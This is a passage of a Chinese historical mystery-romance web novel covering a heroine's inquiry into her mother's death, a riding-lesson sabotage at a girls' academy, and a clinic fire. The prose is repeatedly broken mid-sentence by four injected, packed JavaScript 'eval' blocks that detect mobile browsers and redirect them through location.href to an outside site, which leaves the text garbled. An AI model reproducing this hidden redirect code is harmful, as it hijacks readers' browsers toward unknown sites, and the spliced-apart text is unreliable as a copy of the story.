所以竟是两个婆子的争锋导致她流落在外多年？她直觉有哪里不对，她看过《京中通关帖》，当时秦洪业已官至总督仓场侍郎，且不提两个下人如何能悄不作声地将家中小姐带出府门，便是这个日子也不太合理。 “元宵节是阖家团圆的日子，我怎会任由两个婆子带着？” “还不是因为你那官迷心窍的爹！”原本稍微平稳好情绪的老夫人，再度激动起来。 “那年腊月，边州突发地动，他奉旨前往赈灾，咱们家在工部任职多年，你母亲自幼在家中习得营造之术，便随行相助。谁知你母亲在边州因条件简陋，淋雨救灾染了风寒，便一病不起。” 说到此处，她哽咽着捶打案几，“天灾人祸，我们认了！可你爹在灾后竟又贪功请旨，要暂代边州知府，将病弱的妻子、年幼的你扔在京城！你母亲缠绵病榻时，他正在边州大兴土木搏政绩，明明！明明最初是他三跪九叩上门求娶的敏儿！若不是家中无人主事，怎会让这个畜生有机可乘！” “那家中不曾报官？” “我们如何敢拿你的性命去赌！那婆子知道若事情败露，难逃一死，逃跑前竟往家中送了一封信。她假称山匪，要我们准备一万两银票送至五百里外的栗山，还扬言若有人敢报官，便只能见到你的尸首了，等我们赶到栗山，却连个人影也没有，只等来另一封信，要我们换一处交钱，就这么来来回回，被她耍得团团转......你母亲本就受损的身体，哪里经得起这样的折磨。” 说到这里，老夫人再也说不下去，眼泪顺着皱纹不停流淌。 二舅母将手绢塞入老夫人手中，轻轻抚摸秦明月的脸庞。 “你母亲自知时日无多，将我们唤到榻前，再三嘱咐。她说，待她走后，万万不可再动报官的念头，一来，事情拖得太久，此时报官早已无济于事，反而可能逼得歹人狗急跳墙；二来若短时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041603|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内寻不回你，时日一长，即便将来有幸寻到你，一个在外漂泊多年的贵女，也会遭尽世人非议，她更怕自己走后，若有新人进府，会借此拿捏你的前程。她思前想后，只能嘱咐我们继续暗中寻你，盼着有朝一日，你能安然归来。” 等大舅母进门，看到的就是屋中一片愁云惨淡的模样，她猜到大约又是讲起旧事，急忙笑着岔开话题，“老太太、老太爷，大老爷回来了，正急着更衣过来看月儿呢，咱们移步花厅，一家人一起好好吃顿饭吧。” “娘/舅母说的是！”堂下的一众小辈赶紧附和，活跃起气氛来。 顾家与她同辈的共有五人，长房有顾克寒、顾克焱及顾克韫两子一女，二房则是顾克柔、顾克娇一对姐妹花。 等到了花厅，秦明月看着一桌子热气腾腾的菜，简直惊掉了下巴。燕窝鸡丝汤、鲍鱼烩珍珠菜、鱼肚煨火腿、鹅肫掌羹、糟蒸鲥鱼、文思豆腐羹......全是费时费力的菜色，绝非她回来的这一时半刻可以准备好的。 席间，老太太并着舅母们不住给她夹菜，几位舅舅不时问问她这些年的生活情况，听到师傅和师兄多年的关心维护时，郑重表示要使人送去香资。 等吃完饭，克韫、克柔、克娇三姐妹便簇拥着她往内院走去，行至一明显刚刚翻新过的院落前停下脚步。 “表姐，这‘海棠轩’原是敏姑姑出嫁前的旧居，前一阵子祖父亲自盯着修缮一新，还吩咐下来说以后就是你在家中的居所了，我们几个也盼着你多回来，就添置了些小玩意儿，你要不要去看看喜不喜欢？” 三个人像求表扬的小狗般充满期待地望向她，她心里一阵暖流涌过，牵着她们一同往院内走去。 “表姐，这个几缸睡莲是我让添的，你喜欢吗？” “缸里的锦鲤是我从聚福池捞的，都是特意挑过的‘赤金梭’。” “表姐，你今晚住在这里吗？我在你卧房的纱橱上秀了缠枝莲，等到了晚上月光洒进来别有一番韵味。” ...... 三只快乐小鸟叽叽喳喳，时间很快流逝。等日暮西斜，她才在顾家众人依依不舍的挽留中离开。 行至中途，她让车夫先行归府，自己则带着清圆在路上慢慢走着。 京中的街道两侧此时已支起了各色吃食摊子。不远处的通济盐号内，走出一对年轻的夫妻，穿着蓝布衫的小童坐在父亲肩头，手上拿着一串糖葫芦，身旁的年轻女子，嘴角轻翘，口中忍不住埋怨：你就惯着他吧！这一支小玩意儿能买一两精盐了。男子也不反驳，笑眯眯地从衣带中取出一支雕花木簪，说道：还有一两在这呢，女子娇嗔地蔑了男子一眼，一家人嬉笑着拐进了一条巷中。 “清圆，你觉得父亲是怎样的人？”秦明月突然开口。 “老爷是主子，岂是奴婢能妄议的。” “无妨，你照实说即可，断不会外传。” 犹豫半晌，清圆咬唇说道：“奴婢身在内宅，只能看到内宅一方天地，但府中书房里陈列着百姓送的万民伞，且老爷待我们府中下人也一贯和善。” 秦明月点点头不再追问，将手背在身后，继续慢慢往回走去。 外祖母埋怨父亲官迷心窍，以致她走失、母亲病亡，此事动机未定，角度不同，暂且搁置不提。 可这件事情却处处透着诡异，母亲淋雨致病身故、父亲放下珍视且重病的母亲独自前往边州、穷困潦倒的嬷嬷能将两府众人天南地北地玩弄、母亲坚定地不许报官...... 心念飞转，秦明月停下脚步，“清圆，现在你身边带了多少银票？” “啊？大约...大约......”清圆赶紧翻动随身荷包，“除却三十几两的碎银外，还有两张一百两的银票，其中一张是临行前夫人给的，一张......” “够了。”秦明月打断她，转身就往刚刚路过的通济盐号走去。 9. 书院遇险 一个时辰后，清圆一脸神游地跟着秦明月从一处民宅中走了出来。 谁能想到，秦府的大小姐，竟然拎着一坛烧酒、一笼吃食以及二百两的红封，以报恩的说辞与一帮盐号走盐的镖师共饮。 谁又能想到，原来，这些年，小姐是流落在外，而非在观中为先夫人祈福？！ 还有小姐在那个叫祁阳的地方…… 天老爷，这是她能听的事情吗？！ 等二人快走至秦府门口，秦明月好似才发现她的魂不守舍般转过身望向她，“清圆，你可还记得我初归家那日，父亲与夫人的交代？” “奴婢都明白。”清圆一脸郑重，她一定也必须将这个秘密烂在肚子里。 秦明月满意地点了点头，事已至此，她心中有了一个大胆的假设。 当年，母亲随父亲前往边州救灾，遇天池湖垮坝，母亲从洪流中救出了尚且年幼的武昭，因此落下病根，而非外祖母所知的淋雨之故。 此事后，武昭视母亲为救命恩人，所以，赵秉一事中，她宁肯放弃逃跑也要救自己。 武昭父母双亡后，选择来到京中，在母亲的担保下，改名换姓陆沉菰，子承父业在通济盐号做事，后来做了女镖师。 可如此看来，母亲之死并没有什么问题，武昭，也就是现在的陆沉菰，为何坚持母亲之死有冤情呢？ 好消息是事情总算有了头绪。下一步，她只要询问当年的府医，便能落实母亲溺水的猜想。 坏消息也有，就是她忘了今天是授衣假的最后一天，明日起便要随兰意、梅风两姐妹一同前往琅嬛书院学习了。 翌日一早，秦兰意与秦梅风二人早早来到她的院中，等待她一同前往琅嬛书院。 一路上，秦兰意将早就准备好的课表摊开，仔细和她讲起各类课程来，等紧锣密鼓地“科普”完课程内容、课程要求、教授西席等情况，她们也正好到了书院门口。 临下车前，秦兰意喝了一大口水，秦明月歉意地朝她笑了笑，只怪自己这两天一直在外奔波，两姐妹实在没找到机会和她详说。 琅嬛书院虽然只是“书院”之名，但实际上却教授着京中贵女德言、容功、书数、政略、雅艺、体健等女子“六艺”，因此书院内并非只有简单的教室，相反，甚至有占地百亩的跑马场以及备有真实沙盘的堪舆阁等各类场所。 今日，她们所要进行的课程便是骑术课。 姐妹三人刚走进书院大门，遥遥便看见顾克韫、顾克柔两姐妹携了另一位身着火红色骑装的少女在从跑马场向她跑来，顾克娇因年纪尚小，还未进学。 “表姐，可算等到你了。”等跑至身前，顾克韫自然地挽起她的胳膊，“表姐，给你介绍一下，这是我们的好友，卢琼华。” “表姐好！”火红色骑装的少女也不忸怩，依着顾氏姐妹的称呼，朝她绽开一个灿烂的笑容。 “琼华妹妹好。” 众人一边说话，一边往跑马场走去。 “哎呦呦，让我看看这是谁呀？”突然，一阵娇滴滴的声音从身旁响起，只见一头上发盘着飞云髻的少女在人群的簇拥下往她们这边走来，女子手中的马鞭随着步伐敲打着手心，本就极细的腰肢被腰带紧紧束缚，露出玲珑的曲线。 “这是魏武侯之女魏来仪，封号文懿。”秦兰意不着痕迹地侧身挡在她前方，低声提点了一句。 魏武侯，她有些印象，《京中通关帖》里除了记载他当年拥护大皇子，凭从龙之功封侯之外，更用朱笔在一旁标注：其背后真正的依仗是宫中风头正盛的丽妃——魏武侯的亲妹妹。 而关于这位侯府千金的封号，更是耐人寻味。据说当年圣上为宗室贵女例行封赏，轮到魏来仪时，陛下刚赐下“文懿”封号，爵位还未及宣出口，便被一份边关急报骤然打断，此事之后，宫中竟也如同遗忘了一般，再无后文。 此外，父亲与魏家在政见上也多有不合。 “让我来猜猜——你就是秦府那位为母祈福多年的大小姐吧？”魏来仪毫不掩饰地上下打量着她。 “魏小姐万福。”秦明月回了一个标准的平礼。 “久仰，久仰，”魏来仪慢慢将马鞭一圈一圈缠到手上，“秦大小姐多年未在京中，不知可还习惯京中规矩？” 不用旁人提醒，秦明月也能听出其中满满的恶意，她正欲反驳，卢琼华懵懂的声音在背后响起：“京中有什么特殊规矩吗？普天之下，莫非王土，礼乐教化，不也是四海一同吗？” “来仪自幼受宫中娘娘教导，想来规矩与我们是不一样的。”顾克韫温温柔柔地补充。 魏来仪一下子黑了脸，她原意不过是想讥讽秦明月长于乡野不知礼数，可这些人！ 此话若要传到圣上耳朵中...... “我好意提醒罢了！不要出事丢了秦府脸面才好！” “劳魏小姐挂心，只是我大姐姐言行向来恪守闺训、无可指摘，更何况父亲也曾说过，我秦府的女儿习礼，为的是立身正己，非为媚俗邀名，凡我秦家之事，也自有父兄担当，从无靠女儿光耀门楣的道理。” 秦明月略带诧异地看向语气强硬的秦兰意，仿佛看到一只优雅的猫咪突然伸出利爪。 见讨不到好，魏来仪用力地瞪了她一眼，鼻子里冷哼一声，转身带着一帮人走了。众人也都很快跳过这个小插曲，继续前往跑马场集合。 来时，秦兰意曾介绍骑术课教习是现任太仆寺少卿卫燕锋，不多时，便见卫燕锋与一白衣男子缓步进入，人群中顿时响起一片窸窸窣窣地讨论之声。 “那是京兆府尹谢长龄吗？” “他怎么和卫教习一起来了？不会我们以后又要多一位教习了吧？” “你竟然不知道他们是好友？” “怎么可能，不过你就这么期待谢大人......” 身旁顿时传来打闹求饶之声。 秦明月抬眸望向众人焦点，书院的跑马场与演武场共用一地，整体呈圆形，北侧是约挑高三尺的教习台，西侧是马厢，南侧的进口处，还摆满了各式刀枪剑戟。 二人沿着跑马场东过道缓缓向教习台走来，那人一身月白锦袍，袖口银色滚边刺绣随着行走的步伐翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041604|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腾，隔得太远，她看不清他的面容，但修长的身材与挺直的腰背与那日在牢中生人勿进的气息别无二致，行至东侧树荫匝地之处时，他忽然驻足，负手而立，只剩卫教习一人继续匆匆赶往教习台。 待卫教习走至教习台，众人终于也都将目光重新聚集在教习台之上。秦明月不知道的是，有一道目光轻轻落到她的背后。 “诸位，授衣假前，我们已将控马驭鞍的诀窍一一讲解，并带大家上马试过，假期中想必各位也未曾懈怠，今日，我们这堂课便进行跑马试练。” 视线不着痕迹地扫过秦明月，他继续开口，“大家量力而行，若自觉生疏，或心中没有把握的，可暂缓试练，回头重新熟悉要领即可，不用急于一时。” 随着卫燕锋话音刚落，西侧马厢之门缓缓打开，数十名仆从牵着马匹向马场教习台下的人群走来。 “表姐，我假期只顾玩忘了练习了，你陪我在一旁再观摩学习学习吧。”顾克柔笑嘻嘻地拉起秦明月。 “呦？顾二，这就露怯了？你母亲可是行伍出身，怎么到你就......” 这个魏来仪怎么总是阴魂不散？！顾克柔的外祖是安西总督，这魏来仪也不知道是嚣张无脑还是自恃背后有丽妃这课大树，竟口呼行伍出身，全然不知轻重。 “不用担心我，你快去试练，将门出来的女儿，就算不练，也远胜旁人。”秦明月朝她眨眨眼，将人往马群处推。 顾克柔犹豫半晌，才在秦明月的催促下走到魏来仪面前，咬牙说出一句“望魏小姐也不要露怯”的狠话，一步三回头地准备上场了。魏来仪随即跟上，在所有人都没有看见的地方，一包药粉悄然从她的袖中落到手心。 随着三声鼓停，试练正式开始。 所有贵女纷纷策马冲了出去，各色骑装在马场之上争先恐后，场边挂着的铃铛被疾驰而过的风吹得叮当作响。 顾克柔与卢琼华不愧是将门之女，一蓝一红牢牢占据队首，冲刺之余，竟隐隐有联手防守之势，除了秦梅风因年龄小，力气弱些，稍稍落后以外，其她人也紧紧踩着马镫，不顾马蹄翻飞带起飞扬的草屑和尘土，死死咬在队伍前列。 卫燕锋不知何时走至她身侧约一步远处站定，就着场内的形式，现场给她讲解起驭马之术来，怎么说呢，自己虽然没骑过马，但是对于骑驴还是很熟练的，听起来差别也不是很大嘛。 就在此时，原本落在顾、卢二人身后约五六个身位魏来仪突然伏低身子，猛夹马腹，一口气从最外侧连超三人往队伍前方奔去。 “漂亮！在圆形马场上，想要越位，一般要像这样选择弯道......”卢燕锋夸赞之余还不忘教学。 谁知话音还未落，魏来仪突然纵马冲向顾、卢中间。 本来二人身位就挨得极近，突然冲起来的魏来仪硬生生擦着二人挤出一条缝隙，马鞍几乎撞在一起。 激烈的挤压中，不知是马匹受了惊吓还是什么原因，二人身下的马匹发出凄厉的嘶鸣，继而发了疯似的横冲直撞起来，卫燕锋大呼一句“不好”，迅速飞身上马，向场中疾驰而去。 10. 马上拥抱 情况紧急，卫燕锋分身乏术，只能先冲向离他较近的顾克柔。 最东侧的谢长龄也第一时间发现变故，飞身上马火速赶来，但因距离较远，一时难以靠近。 紧急时刻，视线中突然一道鹅黄色身影自北侧斜插而入。 等真正骑上马，秦明月才知道骑马与骑驴根本是两回事！ 她整个人在马背上颠簸摇晃，只能死死攥住马匹的鬃毛，勉强维持身形。 耳边隐约传来缥缈的喊声，可她恍若未觉，反而俯身更近，她闭起上眼睛，用面颊贴近马匹，眉头紧紧拧成了一个“川”字，心中不断默念：快让它停下来！停下来！ 说来也奇怪，原本还躁动没有方向的马匹，此时竟骤然加速，直直朝着“疯马”冲去。 谢长龄来不及细想，扯过缰绳快速跟上。 视线中，女子身下之马速度极快，很快就追上了“疯马”，两马并驰、鬓毛相擦的瞬间，对方因剧烈的颠簸失去重心，整个人几乎要滑落下马。 电光火石之间，他从马背上腾空而起，精准落在女子身后，一把揽住她下坠的身形。 秦明月来不及松一口气，立刻再次俯身，手掌轻轻抚摸马匹。 这女子是不要命吗？谢长龄咬牙。马跑得飞快，他根本没有办法一只手拉住马缰，一只手稳住匍匐在马背上的人，只能跟着对方的动作弯下腰，将她紧紧护在自己与马背之间。颠簸中，二人不断贴近、分开再贴近…… 卢琼华怎么也想不明白为何会变故陡生，原本在她手下驾驭自如的马匹，仿佛发了狂，猛地人立而起，她整个人被惯性狠狠向后掼去，全靠死死攥住缰绳才未被甩脱。 没等她回神，马匹前蹄轰然落地，然后像一道离弦的箭，向着场边的刀枪剑林直冲而去。 风声在她耳边呼啸，视野因颠簸模糊，她用尽全身力气勒紧缰绳，虎口传来撕裂的剧痛，可马匹丝毫没有停下的趋势，反而因拽紧缰绳吃痛而更加躁狂起来。 眼见自己离刀枪剑林越来越近，这么快的速度，就算跳马也得送掉半条命，卢琼华绝望地闭上双眼，耳边呼呼的风声里夹杂着另一匹马高亢的嘶鸣...... 片刻后，预想中的疼痛不曾到来，她身下马匹的狂躁也逐渐消退，竟喷着粗气，步伐慢慢停了下来。 卢琼华力竭地缓缓从马上滑落。 “琼华！”耳边是熟悉的声音，后怕的眼泪不知不觉盈满眼眶。 朦胧中，她仿佛看到秦明月推开一个月白的怀抱，跌跌撞撞地向她跑来。 直到被对方揽进怀里，卢琼华的情绪终于逼到临界点，一下子爆发大哭起来。 “琼华！”“琼华,有没有伤到哪里？”“琼华不怕，过去了，都过去了！”不一会，秦兰意、顾克韫等一众人也赶到现场，大家你一言我一语的围着卢琼华安慰起来。 秦明月默不作声地退出人圈，掉头沿着跑道走起来。 谢长龄从刚才视线就未从她身上离开过，心跳似乎也并没有因为结束这场“战斗”而平息。此时，他正牵着马定定地站在原地，看着少女缓慢走在跑道上，低头似是在寻找什么。 片刻之后，就看到少女从地上捡起纸片似的东西放在鼻下嗅了嗅，随即放入袖中往回走。 跑马场上，卫燕锋已安抚好其余众人并遣散，现场只留顾克柔、卢琼华、秦明月及魏来仪等人。 远处的秦明月面容沉肃地往人群中走来，极低的气压压得原本七嘴八舌的众人不自觉噤声。 “表姐，你怎么了？”顾克韫问。 秦明月没有回答，她直直走至魏来仪面前，一把揪起对方的衣领。 “我原本只是觉得你有点大小姐脾气罢了，竟不知你原来是个卑鄙阴毒的小人。” 刚刚要不是她急中生智，操纵头马叫停疯马，卢琼华此时怕是凶多吉少。 “你在胡说什么？你有什么证据说是我做的？！”魏来仪用力扯下秦明月的手。 见对方不肯承认，秦明月摊开手掌，手心是一张巴掌大的纸，“那你看看这个！” “不就是一张蜡纸？你就想凭这个定我的罪？分明是卢琼华和顾克柔学艺不精，你不要血口喷人！” “我血口喷人？魏来仪，我发现你不止坏，你还蠢！”秦明月冷笑着看向对方。 “第一，我尚未说是何事，你就急于反驳，正常人遇到这种情况，第一反应是疑惑何事；第二，若不是亲手摸过，你如何仅凭看一眼就知道这是一张蜡纸？！第三，魏来仪，你真觉得你做得天衣无缝吗？不若现在就请官兽医来瞧瞧，这两匹马到底为何发狂？哦，对了，京兆尹谢大人也在，你猜，他查不查得出这药从何而来？” 魏来仪本就心虚，又被秦明月直接贴脸开大，脸色一阵红一阵白，周围的人也都渐渐明白过来。 “魏小姐，不知我妹妹何处惹恼了您，竟值得您这么处心积虑，几欲要她于死地？！”顾克韫气得声音发抖。 不等对方回应，接着道，“您若觉得冤枉，不若索性就报官吧！御医、官兽医、京兆尹，我们都请来！看看到底是谁要谋害官眷？！” “魏来仪，我记得我上课时明明讲过，弯道越位，根据实际情况走外侧或者里侧，你刚刚为何要从顾克柔、卢琼华二人中间硬挤？”卫燕锋默默将自己移到二人中间。 “我不知道你们在说什么！”魏来仪一边摇头，一边往人群外退，急匆匆想要逃走。 谁知一转头，便见谢长龄不知何时站在了她的退路之上。 她心中一片惊惶，京兆尹、京兆尹......若此事真的见了官，那魏家......她肯定没有活路了！ “我自然查得出。若各位家中分说不了，京兆府的大门静候诸位。”谢长龄微微侧过身，眼神扫过不远处的秦明月，似在回应她之前的说辞。 魏来仪心下一松，迅速福了一礼跑开。御医也在此时赶到，跑马场很快空了下来。 ———————————————— 回去的马车上，秦梅风忍不住开口：“克柔她们真的会报官吗？魏来仪的姑姑可是......” “不会报官，但不是畏惧魏家势力，”秦兰意言简意赅，“此事无铁证，闹起来可大可小，对顾家也没有什么好处。” “那就这样放过她？” “凡事都是有代价的。”刚刚谢大人话里有话，应当也是这个意思。 说完，她倏得转头看向秦明月，“大姐姐，你今日也太过冒险了！你连缰绳都抓不住，怎么就敢纵马去追？万一......” 她别过脸去，声音渐渐低下来，虽然语气生硬，但秦明月却能听出她话语间的关心，于是她端起水杯递给对方，轻声哄道：“二妹妹说的是，我下次一定注意。” 等姐妹三人回到府中，秦洪业与府医已等候多时。 虽然有谢长龄相助，且御医已经看过，但秦洪业仍不放心。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041605|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “陶大夫是京中有名的杏林圣手，也是府中惯用的老人了，小心谨慎些总归安心些。” 秦明月心念微动，原本她还担心秦洪业会责怪自己莽撞，得罪了魏家，现在看来，父亲并没有放在心上。 与秦顾两家氛围相反，魏家的祠堂中，原本白日里嚣张的少女，此时身着素服跪在祠堂冰冷的地面上。 外面是一声声板子打在身上沉闷的声响和贴身丫鬟逐渐微弱的哭喊。 想起母亲端着茶杯看都未看她一眼，父亲口中的“无能蠢材”，她咬紧牙关，心中越发怨恨。 次日清晨，天气阴沉沉的，似是要下雨了。 秦明月在浑身酸痛中醒来，许是前一日救人时浑身肌肉紧绷、用力不当，睡了一夜后，浑身的骨头简直像散了架似的，但她什么也没说，照常和秦兰意、秦梅风去了书院。 大约是被马匹失控一事吓到，在秦洪业的要求下，今天陪她去书院的变成了李敖。 书院今日讲授的是德言，除了顾克柔、卢琼华及魏来仪三人请假以外，其她人照常上课。 课间，她尚在同顾克韫询问文顾克柔与卢琼华的情况，卫教习突然将她喊出教室。 “这是舒筋活络散，有化瘀止痛，舒筋活血的功效。”卫燕锋从袖中掏出一个绿色的圆肚瓷瓶。 “谢谢卫教习，我定会及时转交给克柔与琼华。”话说这个药膏直接交给顾克韫不是更方便？ “不是给她二人的，是给你的。”卫燕锋没来由的脸颊升腾起一阵热意。 谢长龄这个坑货！一大早来到他家，提醒说秦明月表面虽未受伤，但肌肉怕是有拉伤，还“做好人”替自己准备了伤药。 他也不知道是猪油蒙了心还是什么原因，竟真的跑来送药了，教习私下赠药，亏他敢说自己敢做！若让别人误会自己别有用心，他还要不要做人了？！ 不过，好在秦明月并未多言，再度谢过他以后，便回教室准备上课了。 好不容易捱到下课，秦明月打定主意，让梅兰姐妹二人先行回府，自己则带着李敖往城南陶氏医馆走去。 此时天比早晨更加阴沉了，隐约有了沉闷的雷声。 昨日她在诊治过程中已旁敲侧击的了解到，陶老大夫自父亲刚开府时就为府中诊治，中途府中也并未找过其他大夫。 考虑到府中人多眼杂，她便没有追问母亲一事，而是决定后续自己找机会到医馆详细询问。 “大小姐，可是还有哪里不舒服？”得知她要去医馆，李敖不放心地问。 “嗯，今日醒来我觉得浑身酸痛，怕是伤了筋骨，所以再找陶大夫看看。” “是属下的疏忽，不会有下次了。” 不是，老实人又在自我反省什么？这和他有什么关系？ 刚想安慰对方，秦明月突然闻到一股木材猛烈燃烧的焦糊味。 几乎同时，不断有人从街头往这边涌来。 “走水了！走水了！快跑啊！” “快救火啊！我的铺子就在医馆旁边啊！” “别挤！让孩子先过去！” 远处的人群骚乱起来，李敖健步上前，将她护在身后。 秦明月蹙眉望向远处升起浓烟的位置，随手抓住一个提着水桶正要往着火处跑的人，“请问是哪家医馆着火了？” “还能有哪家？城南不就只有陶氏医馆吗？” 对方快速说完，再度急匆匆往前跑去。 11. 谁被蛊惑 背后传来五城兵马司赶来救火、呵退闲杂人等的声音。 秦明月想也不想立刻跟着队伍往陶氏医馆跑去。 等她到时，医馆已经完全陷入一片火海，滚滚热浪扑面而来，眼前的空气仿佛都被扭曲。 五城兵马司的兵丁不断推着水龙车往返，周边的百姓也自发拿着家中的水桶盆罐不断泼水，积蓄了一个早上的大雨也终于倾盆而下。 一旁的路上，邻居大娘们死死拉住一个神情激动，不断试图往火场中跑去的中年女子。 “你们放开我！他还在里面！他还在里面啊！” “陶夫人，你冷静些！兵马司的官人都在，他们一定会救陶大夫的！” “是啊是啊！陶大夫素来积德行善，他一定吉人自有天相。” 李敖默默打着雨伞站在她身后，秦明月有一瞬间的恍惚，雨声、哭喊声、救火的呼号声...... 她的太阳穴如针刺般隐隐作痛。 一炷香后，雨停、火止，整个陶氏医馆已被烧得只剩骨架，京兆府也赶到将火灾现场围了起来，不断驱散围观的人群。 谢长龄远远就认出了昨日在琅嬛书院“气势汹汹”的少女，此时，对方白着一张脸兀立在人群之中，木然地看着只剩先一片漆黑的火场，身后的侍卫谨慎地将她护在身前。 他脚下不停，快速从少女身边走过，往现场深处走去。 不多时，一具被烧的焦黑的尸体被从残垣断壁中抬出来。 陶夫人恸哭出声，跌跌撞撞奔向担架，秦明月此时已回过神，她快速上前，扶住腿软的陶夫人，借机往里走去。 担架上的人被烧得只剩一副焦黑的骨架，整个身体呈蜷曲状侧放，面朝向东南，皮肉尽失，目测仅有四尺左右，人的肌肉在高温下是会剧烈收缩的，这具尸体生前应该在七尺上下. 秦明月仔细回忆昨晚的场景，心底发凉，所以，这个被活活烧死的人真的是陶大夫吗...... 耳边陶夫人凄惨的哭声、眼前焦黑的骸骨、陶大夫昨夜和煦的叮嘱交织，巨大的不真实感和悲痛感扑面而来。 官差们慢慢围了上来，在李敖小声的提醒中，秦明月稳稳心神，趁乱往医馆后院走去。 医馆已被烧的看不出原来的样子，只剩一片漆黑废墟，几根粗壮的房梁突兀地支棱着，余烬中偶尔传来“噼啪”的轻响，浓烈的焦糊气中，混杂着一股药材被焚毁后的苦涩气息。 医馆的上空，原本象征吉庆的喜鹊，盘旋着发出凄厉的惨叫，一些不安的、躁动的、恐惧的、困惑的情绪瞬间冲入秦明月的脑海。 眩晕中，秦明月心有所感地望向院中光秃秃站着的桂树，一个破败的鸟巢在风中摇摇欲坠，她跟着脑海中的指引，小心避开脚下的残垣断壁，慢慢向前走去。 眼前的鸟巢已被摧残的七零八落，树杈间透过苍白的日光，没有一丝雏鸟的痕迹。 视线往下，焦黑的土地上，仿佛有几团蜷曲的“枯草”，秦明月蹲下身，随手捡起枯枝拨弄查看。 枯枝无意扫过一处隆起的土丘，龟裂的土地瞬间塌了半边，暴露出一个地蜂的巢穴，蜂巢的洞口周围散落着一层异常密集的、被烧焦的蜂尸。 一股寒意顺着她的脊背缓缓升起，她强按下内心的惊涛骇浪，转身立马往医馆原本的院墙处走去，在李敖不解的眼神中，随手捡起一块破碎的砖瓦四下挖掘。 “这不对！太急了、太急了......” 秦明月口中喃喃自语，她猛地站起，天人相应带来的副作用让她视线模糊，整个人脚下踉跄着险些栽倒，全靠李敖撑着才勉强站稳。 “李敖，京兆府尹在哪里？快带我去找他。”她用力抓住李敖的手，语气焦急。 “大小姐，您怎么了？没事吧？” “我没事！你快带我去找谢大人。”视线慢慢恢复，但仍然不足以让她在散乱的火灾现场正常行走。 “好好好，您别急，卑职带您去。” 听出秦明月语气中的焦急，李敖告罪一声，旋即搀扶着秦明月往人群中的谢长龄走去。 谢长龄此时正一面吩咐属下排查医馆的起火点，一面留意着秦明月的动向。 其实从她跟着陶夫人进来时，他就看见了，想到昨日马背上她怪异的行为和结果，他故作不知，任由她在现场走动。 此刻见她步履不稳地朝自己走来，谢长龄不动声色地带着下属往她身边走去。 “谢大人，不知现场勘验是否有了一些结果？”朦胧中，秦明月还是捕捉到了那抹熟悉的身影。 “尚在调查中，不知秦姑娘为何会在此处？”谢长龄伸手挥退下属。 “陶大夫亦是我府中的府医，因着昨日之事，身感不适，特来寻他，不想撞上了这桩惨案，”秦明月简略解释，快速切入正题，“谢大人，这场火有蹊跷。” “哦？昨日可是伤了筋骨？” 堂堂京兆府尹不至于分不清轻重，这是在和她打哈哈了？ “大人！”秦明月咬咬牙，内心挣扎。 她到底该不该将与雀鸟的感应、蚁穴的不对劲告知这位谢大人？ 谢长龄注视着她紧皱的眉头，抬手打断，“姑娘这么说，可有能公之于众的理由？” “公之于众”四个字被他咬得极重，“若只是推测，姑娘还请慎言。” 他的目光从秦明月苍白的脸上移开，飘向现场不断穿梭的人群。 他发现了！秦明月脑海中瞬间闪过这个念头。 斟酌再三，她深深向谢长龄作了一揖，“谢大人，此火确有蹊跷，还望大人明察。” 谢长龄望着少女倔强的发顶和弯下的脊背，眼神有一丝复杂：“早些回去吧，你说的事谢某记下了。” 秦明月郑重回礼，转身离开。 “秦姑娘，请留步。” 谢长龄突然开口，四目相对，他也不知道自己为何鬼使神差地想要喊住对方，难道这女子真有什么妖术？ 秦明月疑惑地转过身。 “这是京兆府的腰牌，姑娘日后若还有什么发现. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041606|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .....或难处，尽可差人凭此物来京兆府。” 一向泰山崩于前而不改色的谢大人，竟然有些不自然。 秦明月犹疑地接过对方递来的腰牌，礼貌道了声谢，转身继续往火场外走去。 ———————————————— 等秦明月回到府中，秦洪业也正巧处理完公务回到秦府，她简单向父亲秉明府医火灾一事，故意隐去了火场中的发现。 